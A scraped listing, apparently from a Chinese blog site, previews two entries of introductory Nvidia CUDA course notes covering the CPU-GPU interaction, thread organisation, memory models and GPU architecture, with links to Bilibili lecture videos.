Nvidia CUDA初級教程5 CUDA/GPU編程模型 視頻&#xff1a;https://www.bilibili.com/video/BV1kx411m7Fk?p6 講師&#xff1a;周斌 本節內容&#xff1a; CPU和GPU互動模式GPU線程組織模型&#xff08;需要不停強化&#xff09;GPU存儲模型基本的編程問題 CPU與GPU交互 各自…

Nvidia CUDA初級教程6 CUDA編程一

Nvidia CUDA初級教程6 CUDA編程一 視頻&#xff1a;https://www.bilibili.com/video/BV1kx411m7Fk?p7 講師&#xff1a;周斌 GPU架構概覽 GPU特別使用于&#xff1a; 密集計算&#xff0c;高度可并行計算圖形學 晶體管主要被用于&#xff1a; 執行計算而不是 緩存數據控制指令…